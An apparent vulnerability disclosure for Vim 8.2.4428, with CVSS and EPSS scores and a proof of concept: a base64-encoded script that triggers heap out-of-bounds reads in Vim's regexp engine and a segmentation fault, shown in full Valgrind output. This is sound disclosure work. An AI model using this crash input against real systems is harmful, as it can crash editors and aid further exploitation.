8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.005 Low
EPSS
Percentile
74.6%
This issue occur in the v8.2.4428 version.
$ echo "dnMgIDPKKSAwMGNtZGxicmVh4OvbmfsA3ykA3/8wAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAhAAAA
AAAAAODr3/f/fwAAAAAAAAAAAPZRIwAAAAAAa3N5bWxpbmsgCmJcJlx6cypcenMqQGU=" | base64 -d > poc
$ ~/valgrind/vg-in-place -s ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!"
==3464770== Memcheck, a memory error detector
==3464770== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==3464770== Using Valgrind-3.19.0.GIT and LibVEX; rerun with -h for copyright info
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x24838F: utf_head_off (mbyte.c:3866)
==3464770== by 0x2CDBD6: regmatch (regexp_bt.c:4628)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x246A0D: utf_ptr2char (mbyte.c:1788)
==3464770== by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x246A18: utf_ptr2char (mbyte.c:1789)
==3464770== by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x2C9884: regrepeat (regexp_bt.c:2740)
==3464770== by 0x2CCC78: regmatch (regexp_bt.c:4175)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x2CDC72: regmatch (regexp_bt.c:4648)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x2CDC89: regmatch (regexp_bt.c:4649)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x2CE708: bt_regexec_both (regexp_bt.c:4960)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== by 0x302DAD: cmd_source (scriptfile.c:1098)
==3464770== by 0x302DF2: ex_source (scriptfile.c:1124)
==3464770== Address 0x0 is not stack'd, malloc'd or (recently) free'd
==3464770==
==3464770==
==3464770== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==3464770== at 0x4E2855B: kill (syscall-template.S:78)
==3464770== by 0x29B657: may_core_dump (os_unix.c:3508)
==3464770== by 0x29B60B: mch_exit (os_unix.c:3474)
==3464770== by 0x418097: getout (main.c:1719)
==3464770== by 0x25DA19: preserve_exit (misc1.c:2194)
==3464770== by 0x298E52: deathtrap (os_unix.c:1154)
==3464770== by 0x4E2820F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.so)
==3464770== by 0x2CE707: bt_regexec_both (regexp_bt.c:4960)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770==
==3464770== HEAP SUMMARY:
==3464770== in use at exit: 145,623 bytes in 572 blocks
==3464770== total heap usage: 1,218 allocs, 646 frees, 8,385,845 bytes allocated
==3464770==
==3464770== LEAK SUMMARY:
==3464770== definitely lost: 2,521 bytes in 3 blocks
==3464770== indirectly lost: 0 bytes in 0 blocks
==3464770== possibly lost: 0 bytes in 0 blocks
==3464770== still reachable: 143,102 bytes in 569 blocks
==3464770== suppressed: 0 bytes in 0 blocks
==3464770== Rerun with --leak-check=full to see details of leaked memory
==3464770==
==3464770== ERROR SUMMARY: 9 errors from 7 contexts (suppressed: 0 from 0)
==3464770==
==3464770== 1 errors in context 1 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x2CE708: bt_regexec_both (regexp_bt.c:4960)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== by 0x302DAD: cmd_source (scriptfile.c:1098)
==3464770== by 0x302DF2: ex_source (scriptfile.c:1124)
==3464770== Address 0x0 is not stack'd, malloc'd or (recently) free'd
==3464770==
==3464770==
==3464770== 1 errors in context 2 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x2CDC89: regmatch (regexp_bt.c:4649)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 1 errors in context 3 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x2CDC72: regmatch (regexp_bt.c:4648)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 1 errors in context 4 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x2C9884: regrepeat (regexp_bt.c:2740)
==3464770== by 0x2CCC78: regmatch (regexp_bt.c:4175)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 1 errors in context 5 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x24838F: utf_head_off (mbyte.c:3866)
==3464770== by 0x2CDBD6: regmatch (regexp_bt.c:4628)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 2 errors in context 6 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x246A18: utf_ptr2char (mbyte.c:1789)
==3464770== by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 2 errors in context 7 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x246A0D: utf_ptr2char (mbyte.c:1788)
==3464770== by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc'd
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== ERROR SUMMARY: 9 errors from 7 contexts (suppressed: 0 from 0)
Segmentation fault
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.005 Low
EPSS
Percentile
74.6%